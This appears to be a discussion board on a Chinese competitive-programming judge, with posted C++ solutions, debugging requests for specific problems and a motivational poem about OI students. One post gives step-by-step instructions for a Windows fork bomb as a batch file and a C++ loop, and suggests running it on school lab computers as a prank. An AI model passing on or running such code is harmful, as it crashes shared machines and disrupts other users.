『万恶的应试教育的枷锁。』 —Not the System—
『没准哪个OIer,』 —Maybe One of Us—
『就是下一个艾伦•图灵,』 —Next Alan Turing—
『挑战头脑的极限,』 —Pushing the Limits—
『去做最不平凡的自己……』 —To Be Extraordinary—
-
@ 2025-11-26 19:43:03
#include<bits/stdc++.h> #define ll long long using namespace std; const int mod=1e9+7; ll n,p; ll qp(ll a,ll b){ ll ans=1; for(;b;b>>=1,a=aa%mod)if(b&1)ans=ansa%mod; return ans; } signed main(){ cin>>n>>p; cout<<(p-1)*qp(p-2,n-1)%mod; }
-
@ 2025-11-26 17:18:01
真·五颜六色 -
@ 2025-11-24 22:18:38@TooY0ung P2121 70WA 求调 题目在这里
我自己调了一个小时#include<iostream> #include<cstring> #include<queue> #include<cstdio> #include<cmath> #include<algorithm> #include<map> #include<vector> #include<stack> #include<sstream> #include<set> #include<time.h> #include<stdlib.h> #include<unordered_map> #include<iomanip> #include<bitset> #define ll long long #define ull unsigned long long #define eps 1e-6 #define INF 1e9 #define delta 0.996 #define T 3000 #define pi acos(-1.0) #define ld long double const ll mod1 = 1e9 + 7; const ll mod2 = 998244353; const int maxn = 2e4 + 10; const ll inf=1e18L; using namespace std; typedef pair<int,int> Pii; typedef pair<__int128,int>P; int n, m, k; struct Bian{ int u, v, cost; }; Bian bian[100005]; int dian[100005], father[100005]; int findfa(int x) { if(x == father[x]) return x; else return father[x] = findfa(father[x]); } bool cmp(Bian x, Bian y) { return x.cost > y.cost; } int ans; int cnt; signed main(){ // freopen(".in", "r", stdin); // freopen(".out", "w", stdout); ios::sync_with_stdio(false); cin.tie(0); cout.tie(0); //最大生成树 cin >> n >> m >> k; for(int i = 1; i <= n; i++) father[i] = i, dian[i] = i; for(int i = 1; i <= m; i++) cin >> bian[i].u >> bian[i].v >> bian[i].cost; sort(bian + 1, bian + n + 1, cmp); for(int i = 1; i <= m; i++) { int fau = findfa(bian[i].u); int fav = findfa(bian[i].v); if(fav != fau) { father[fau] = fav; ans += bian[i].cost; cnt++; } if(cnt == k) break; } cout << ans; return 0; } -
@ 2025-11-23 12:57:28
『我们是OIer,』 —Code Warriors—
『所以』 —We Don ′ t Run, We Code—
『不用在跑道上挥汗如雨;』 —No Track, No Sweat—
『不用在球场上健步如飞;』 —No Court, No Sprint—
『更不用在没事的时候,』 —No Need for Training—
『经受非人的体能训练……』 —But Our Minds Run Fast—
『但是,』 —Yet—
『我们却要把头脑』 —We Push Our Minds—
『高速运转,』 —At Full Speed—
『还要接受一大堆』 —Learn What College Students—
『大学生也只是』 —Only Understand Slightly—
『“了解即可”的知识,』 —We Master It—
『把一个个抽象的问题』 —Turn Problems Into Code—
『转化为一篇篇』 —Elegant and Beautiful—
『优美的代码,』 —Algorithms in Art—
『才能在F11按下以后』 —Press F11, Hear Cheers—
『获得欢呼。』 —Then We Are Heard—
『不要以为我们』 —Don ′ t Think We ′ re Easy—
『机房里没有风吹,』 —No Wind or Sun—
『没有日晒,』 —But Our Lab Has Code—
『就比勤劳的体育生们轻松,』 —We Sweat in Brain—
『只不过是大脑和四肢的区别罢了。』 —Mind vs Muscle—
『可是, —But—
『OIer的寂寞和委屈又有谁能懂?』 —Who Understands Us?—
『自习课鏖战机房,』 —Contests in Self Study—
『却被认为是逃课上网;』 —Called Skipping Class—
『为荣耀耽误考试去比赛,』 —Miss Exams for Glory—
『却被认为是逃避。』 —But They Call It Escape—
『体育的同学们虽然辛苦,』 —Athletes Have Fans—
『但在挥汗如雨的背后,』 —They Have Applause—
『有人在喝彩鼓掌;』 —We Have Only the Screen—
『在风吹日晒的同时,』 —They Have Fans Watching—
『有粉丝在仰慕。』 —We Have No Spotlight—
『而我们呢?』 —Where Is Our Light?—
『与WA较劲的时候,』 —Fighting Against Errors—
『只有那一遍遍的运行窗口,』 —Only the Command Window—
『知道我们的不屈;』 —Knows Our Will—
『刷题的漫漫长夜,』 —Long Nights of Practice—
『只有陪伴我们的笔记本电脑,』 —Only Our Laptop Knows—
『知道我们的不懈;』 —Knows Our Determination—
『在自习课别人学习的时候,』 —While Others Study—
『只有板砖般的算法导论,』 —Only the Thick Book—
『知道我们的进取;』 —Knows Our Ambition—
『没有人会理解, —No One Understands—
『OIer,』 —We Are OIers—
『除了程序、算法之外』 —Code and Algorithms—
『别无他言。』 —That ′ s All We Speak—
『我们的世界里,』 —No Games, No Stars—
『从来不会有游戏、歌星的出现。』 —Only Code and Logic—
『这不是被家长逼迫的“小四门”,』 —Not Forced by Parents—
『是我们的兴趣,』 —It ′ s Our Passion—
『我们的爱好』 —Our Interest—
『乃至我们的事业。』 —Our Future—
『每一个OIer都幻想着』 —We Dream of Medals—
『自己脖子上可以』 —Gold, Silver, Bronze—
『挂上一块沉甸甸的金牌,』 —Not Exam Chains—
『而不是』 —But Freedom—
『万恶的应试教育的枷锁。』 —Not the System—
『没准哪个OIer,』 —Maybe One of Us—
『就是下一个艾伦•图灵,』 —Next Alan Turing—
『挑战头脑的极限,』 —Pushing the Limits—
『去做最不平凡的自己……』 —To Be Extraordinary—
-
@ 2025-11-22 18:37:22
t
-
@ 2025-11-22 12:41:04RP++ RP++ RP++
-
@ 2025-11-21 21:55:55P1063 86TLE求调
#include<bits/stdc++.h> using namespace std; int n,k,a[25],ans; bool judge_prime(int x){ if(x==0||x==1) return 0; for(int i=2;i<=sqrt(x);i++){ if(x%i==0) return 0; } return 1; } void TLE86fen(int sum,int num,int num1){ if(num==n+1){ if(num1==k&&judge_prime(sum)){ ans++; } return ; } TLE86fen(sum+a[num],num+1,num1+1); TLE86fen(sum,num+1,num1); } int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n>>k; for(int i=1;i<=n;i++){ cin>>a[i]; } TLE86fen(0,1,0); cout<<ans; } -
@ 2025-11-20 21:20:44#include <iostream> #include <cmath> #include <iomanip> #include <algorithm> #include <vector> using namespace std; char arr[25][25]; int vis[26]; int m,n; int check(int i,int j){ // cout<<i<<" "<<j<<" -------------- "<<endl; if (i < 0 || i >= n || j < 0 || j >= m) return 0; if (vis[arr[i][j]]) return 0; vis[arr[i][j]]++; int a,b,c,d; int mx = -88888888; int maxPath = 0; maxPath = max(maxPath, check(i-1, j)); // 上 maxPath = max(maxPath, check(i+1, j)); // 下 maxPath = max(maxPath, check(i, j-1)); // 左 maxPath = max(maxPath, check(i, j+1)); // 右 vis[arr[i][j]]--; return maxPath + 1; } int main(){ cin >> n >> m; for(int i = 0;i<n;i++){ for(int j = 0;j<m;j++){ cin >> arr[i][j]; vis[arr[i][j]] = 0; } } int ans = check(0,0); cout << ans << endl; return 0; }LETTERS
40WA求调
-
@ 2025-11-19 18:14:10#include<bits/stdc++.h> #define int long long using namespace std; int n,a[1005],f[1005]; signed main(){ ios::sync_with_stdio(false); cin.tie(0); memset(f,0,sizeof(f)); cin>>n; cin>>a[1]; for(int i=2;i<=n;i++){ cin>>a[i]; f[abs(a[i]-a[i-1])]=1; } for(int i=1;i<=n-1;i++){ if(f[i]==0){ cout<<"Not jolly"; return 0; } } cout<<"Jolly"; } -
@ 2025-11-17 22:38:13#include<bits/stdc++.h> #define ll long long using namespace std; int n,ans=1e8,a[210],dp[210]; int main(){ ios::sync_with_stdio(false); cin.tie(0); cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]; } for(int ii=1;ii<=n;++ii){ for(int i=0;i<205;++i){ dp[i]=1; } int llll=0,anst=-1; for(int i=2;i<=ii;++i){ for(int j=1;j<=i;++j){ if(a[j]<a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst,anst=-1; for(int i=ii+2;i<=n;++i){ for(int j=ii+1;j<=i;++j){ if(a[j]>a[i]){ dp[i]=max(dp[i],dp[j]+1); } anst=max(anst,dp[i]); } } llll+=anst; llll=n-llll; ans=min(ans,llll); } cout<<ans<<'\n'; return 0; }@TooY0ung P1091 90WA求调
-
@ 2025-11-16 10:56:43X组没救了
-
@ 2025-11-15 9:39:171.在windoes环境下创建一个文本文档
2.打开输入以下程序
start cmd %03.(有后缀.txt的同学不用)打开此电脑,点击查找,找到文件扩展名,打对勾
4.把文件重命名为xxx.bat(xxx代表文件名称)
5.运行
注意事项
1.请保存好你的程序,以上及以下文件重启就好
2.是用英文输入/不用中文输入
%0|%0这个程序大家也可以试试,操作和上面一样
免责声明
若对您的电脑程序造成任何问题,不要告我哈~
c++版本
#include<bits/stdc++.h> using namespace std; int main() { while(1) { system("start cmd"); } }祝大家《游玩》愉快
注:可以用在学校机房喔~
-
@ 2025-11-12 19:24:09恭喜冯昱博本人完成✅666道题

-
@ 2025-11-11 17:51:27#include <iostream> #include <vector> #include <algorithm> #include <string> using namespace std; struct node{ int g; string s; }; bool f(string a) { // 检查是否包含冒号 size_t pos = a.find(':'); if (pos == string::npos) return false; // 检查冒号前后是否有内容 string ip_part = a.substr(0, pos); string port_part = a.substr(pos + 1); // 检查 IP 部分是否包含恰好三个点 int dot_count = 0; for (char c : ip_part) { if (c == '.') dot_count++; } if (dot_count != 3) return false; // 分割 IP 部分 vector<string> parts; size_t start = 0; size_t end = 0; while ((end = ip_part.find('.', start)) != string::npos) { parts.push_back(ip_part.substr(start, end - start)); start = end + 1; } parts.push_back(ip_part.substr(start)); // 检查 IP 部分的四个字段 for (int i = 0; i < 4; ++i) { string part = parts[i]; // 检查是否为空或含有非法字符 if (part.empty() || !isdigit(part[0])) return false; // 检查前导零 if (part.length() > 1 && part[0] == '0') return false; // 转换为整数并检查范围 try { int val = stoi(part); if (val < 0 || val > 255) return false; } catch (...) { return false; } } // 检查端口部分 if (port_part.empty() || !isdigit(port_part[0])) return false; // 检查前导零 if (port_part.length() > 1 && port_part[0] == '0') return false; // 转换为整数并检查范围 try { int port_val = stoi(port_part); if (port_val < 0 || port_val > 65535) return false; } catch (...) { return false; } return true; } void print(int size,node array[]){ for(int i = 0;i<=size;i++){ cout<<array[i].g<<" "<<array[i].s<<endl; } } int u(string a,int size,node array[]){ for(int i=0;i<=size;i++){ if(array[i].s==a){ return -1; } } return 0; } int y(string a,node array[],int n){ for(int i=0;i<=n;i++){ if(array[i].s==a){ return i; } } return -1; } int main() { freopen("network.in", "r", stdin); freopen("network.out", "w", stdout); string op; int n; cin >> n; node array[n]; for(int i = 0;i<n;i++){ array[i].g=0; array[i].s = ""; } int size = 0; for (int i = 0; i < n; i++) { cin >> op; string d; cin >> d; if(op=="Server"){ if(f(d)){ if(u(d,size,array)==-1){ cout << "FAIL" << endl; continue; }else{ // cout<<size<<endl; cout << "OK" << endl; // print(size,array); array[size].g=i+1; array[size].s=d; size++; } }else{ cout << "ERR" << endl; continue; } } if(op=="Client"){ if(f(d)){ if(y(d,array,n)==-1){ cout<<"FAIL"<<endl; }else{ cout << array[y(d,array,n)].g << endl; } } else{ cout << "ERR" << endl; } } } return 0; }
75分网络连接求调 网址:https://oj.since2018.top/p/CSP2021J2C
-
@ 2025-11-10 22:35:47(好了)
-
@ 2025-11-9 20:26:02#include<bits/stdc++.h> #define ll long long using namespace std; int t,n,a[100010],b[100010],c[100010],cha[100010],id[100010],cnt1,cnt2,cnt3,ans,cnt; int main(){ freopen("club.in","r",stdin); freopen("club.out","w",stdout); ios::sync_with_stdio(false); cin.tie(0); cin>>t; while(t--){ cnt1=0,cnt2=0,cnt3=0,ans=0,cnt=0; cin>>n; for(int i=1;i<=n;++i){ cin>>a[i]>>b[i]>>c[i]; if(a[i]>=max(b[i],c[i])){ cnt1++,ans+=a[i],id[i]=1; } if(b[i]>=max(a[i],c[i])){ cnt2++,ans+=b[i],id[i]=2; } if(c[i]>=max(a[i],b[i])){ cnt3++,ans+=c[i],id[i]=3; } } for(int i=1;i<=n;++i){ if(cnt1>n/2&&id[i]==1){ ++cnt; cha[cnt]=a[i]-max(b[i],c[i]); } if(cnt2>n/2&&id[i]==2){ ++cnt; cha[cnt]=b[i]-max(a[i],c[i]); } if(cnt3>n/2&&id[i]==3){ ++cnt; cha[cnt]=c[i]-max(a[i],b[i]); } } sort(cha+1,cha+cnt+1); int now=1; while(cnt1>n/2){ ans-=cha[now]; --cnt1; ++now; } while(cnt2>n/2){ ans-=cha[now]; --cnt2; ++now; } while(cnt3>n/2){ ans-=cha[now]; --cnt3; ++now; } cout<<ans<<'\n'; } return 0; }......